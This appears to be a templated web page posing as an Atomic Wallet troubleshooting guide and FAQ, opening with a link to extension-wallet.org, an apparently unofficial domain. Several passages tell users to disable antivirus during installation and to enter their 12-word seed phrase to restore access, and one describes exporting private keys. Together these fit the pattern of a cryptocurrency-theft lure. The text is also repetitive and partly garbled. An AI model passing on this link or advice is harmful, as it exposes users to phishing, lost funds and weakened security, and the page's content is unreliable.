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img width: 750px; iframe.movie width: 750px; height: 450px; atomic wallet crashed [[https://extension-wallet.org/wallet-atomic.php https://extension-wallet.org/wallet-atomic.php]] wallet troubleshooting fix common problems Atomic wallet troubleshooting guide fix common issues If your portfolio interface fails to display a recent token acquisition, first verify the network. Many assets require manual addition. Locate the "Add Token" function, input the precise contract address sourced from a block explorer, and confirm. This action instructs the interface to track the asset's balance on the blockchain, as it may not be automatically indexed. Transaction errors often stem from an insufficient gas limit. When a smart contract interaction fails, the default limit might be too low. Before approving, manually increase this parameter within the transaction confirmation window. A complex operation like a token swap typically needs a limit of 200,000 or higher, compared to a simple transfer. An inadequate limit will cause the transaction to revert, consuming gas without completing. A failed dapp connection usually involves browser cache or network settings. Clear your browser's cached data and ensure you are using a compatible browser like Chrome or Brave. Within the application's settings, confirm that the correct network is selected to match the dapp's requirements. If the issue persists, try re-establishing the connection by revoking the site's access in your application's permissions and then reconnecting. For a complete application not installing or launching, check your system's security settings. On Windows, disable antivirus software temporarily during installation. On macOS, you may need to authorize the app in Security & Privacy settings after downloading it from the official source. Ensure your operating system meets the minimum version requirements listed by the developer. When the interface is not connecting to the blockchain, your node settings are the primary suspect. Switch the connection mode from "Automatic" to a specific, reliable node provided in the network settings. Alternatively, a VPN can sometimes resolve regional connectivity blocks imposed by your internet service provider. To restore wallet access, your 12 or 24-word mnemonic phrase is non-negotiable. In the application, select the import function and enter each word in its exact order, with spaces between them. Choose the corresponding derivation path if you had multiple portfolios. An incorrect phrase, even by one word, will generate a completely different set of addresses with zero balances. Atomic Wallet Troubleshooting: Fix Common Problems For a token not showing, manually add its contract address via the 'Manage Tokens' list. Ensure you are on the correct blockchain network; an asset on the Polygon chain won't appear in your Ethereum portfolio view. If the application is not installing on Windows, disable your antivirus software temporarily during the setup process, as it can incorrectly flag the installer. Download the package exclusively from the official website to avoid corrupted files, and always run the installer with administrator privileges. A failed dapp connection often stems from an incorrect RPC node; manually switch to a reliable, public endpoint for that specific chain within the app's network settings. Adjust the gas limit higher for pending transactions; while the fee price dictates speed, an insufficient limit will cause any transfer to fail with an error. Restore wallet using your 12-word seed phrase on a stable internet connection. If not connecting to a blockchain after restoration, use the in-app network status checker to toggle synchronization for the affected coin. How to Recover Your Wallet Using a 12-Word Backup Phrase Launch the application and immediately select the "Import existing wallet" or similar option, completely avoiding the "Create new wallet" button. Enter your 12-word mnemonic phrase in the exact order it was provided, with a single space between each word. Double-check for typos; this is the most frequent source of failure. If the interface reports an error like "Invalid phrase," verify the word list. Some applications use a checksum word, so ensure all words are from the official BIP39 wordlist and you haven't accidentally added an extra term. A successful import will reset account balances to reflect the state of the blockchain at the time of your last transaction. Your assets do not live in the phrase itself; the phrase regenerates the private keys that control them on-chain. If a specific token not showing, you likely need to manually add its contract address within the application's "Manage Assets" section. For transactions that fail due to a gas limit set too low, manually increase this parameter when sending assets after recovery. The process of using your seed phrase to restore wallet access is universal. You can perform it on a different device or even within a competing software interface if needed, without not installing updates on your original device. Should your portfolio appear but the application is not connecting to live network data, switch your active node server in the settings or check your internet connection, as the recovery itself is an offline calculation. Store your 12-word phrase permanently offline after this recovery. Never type it into a website or share it digitally; its sole purpose is for this exact type of restoration scenario. FAQ: My Atomic Wallet balance shows zero, but I know I have funds. What's happening and how do I fix it? This is a common display issue, often related to network synchronization. First, check the blockchain explorer for your specific cryptocurrency. Enter your public address to confirm the funds are on the blockchain. If they are, the problem is with the wallet interface. Try switching your network node. Go to Settings, find the "Node" section for the affected asset, and toggle between "Automatic" and "Manual" selection, or try a different available node. Then, completely close and restart the wallet. If the problem continues, use the wallet's built-in "Refresh" button or clear the transaction cache from the settings menu. A transaction is stuck as "pending" for hours. Can I cancel it or speed it up? You cannot cancel a blockchain transaction after it's broadcast, but you can sometimes speed it up or replace it. For Ethereum and EVM-compatible networks (like BSC, Polygon), you need a higher gas fee. If Atomic Wallet has a "Speed Up" feature for that transaction, use it. If not, you can try sending a new transaction with the same nonce but a significantly higher gas price. To find the nonce, check the pending transaction details on a block explorer. For Bitcoin or UTXO-based coins, transactions can sometimes get stuck if the fee is too low. Waiting is often the only option, as it may eventually drop from the mempool. To prevent this, always use the wallet's recommended network fees. I can't send coins from my wallet. It asks for a password, but mine doesn't work. The password you enter for sending funds only decrypts your local private keys. It cannot be recovered or reset. If you're certain you're typing the correct password, try these steps: Ensure Caps Lock is off and check your keyboard layout. If you restored the wallet from a backup phrase, you might have used a different password during that restoration process. Try any other passwords you commonly use. If the password is definitively lost, you must restore your wallet using your 12-word backup phrase. Export any individual private keys for non-custodial coins first, if possible. Then, uninstall the wallet, reinstall it, and choose "Import Wallet" using your secret phrase. This will create a new password. Atomic Wallet won't open on my Windows PC after an update. What should I do? This is typically caused by corrupted local data or a conflict with the update. A full reinstall usually resolves it. First, make absolutely sure you have your 12-word backup phrase written down and secure. Then, uninstall Atomic Wallet via Windows Settings. Next, you need to delete the leftover application data. Press Win+R, type `%appdata%`, and delete the "atomic" folder. Also check `%localappdata%` for any remaining "atomic" folders. Restart your computer. Download the latest version of the wallet directly from the official Atomic Wallet website. Install it and restore your wallet using your backup phrase. Are my recovery phrase and private keys the same thing? How do I back them up properly? No, they are related but different. Your 12-word mnemonic phrase is a master key that generates all the private keys for the supported cryptocurrencies in your wallet. A private key is a unique string for a single wallet address on a specific blockchain. Your seed phrase controls all of them. For backup, write the 12 words on paper in the exact order. Do not store it digitally (no screenshots, text files, or cloud notes). For maximum security, consider a metal backup plate. To export individual private keys, open Atomic Wallet, go to the specific coin's wallet, click "More," and select "Private Keys." Back these up separately if you manage large sums, as they provide direct access to that specific address.

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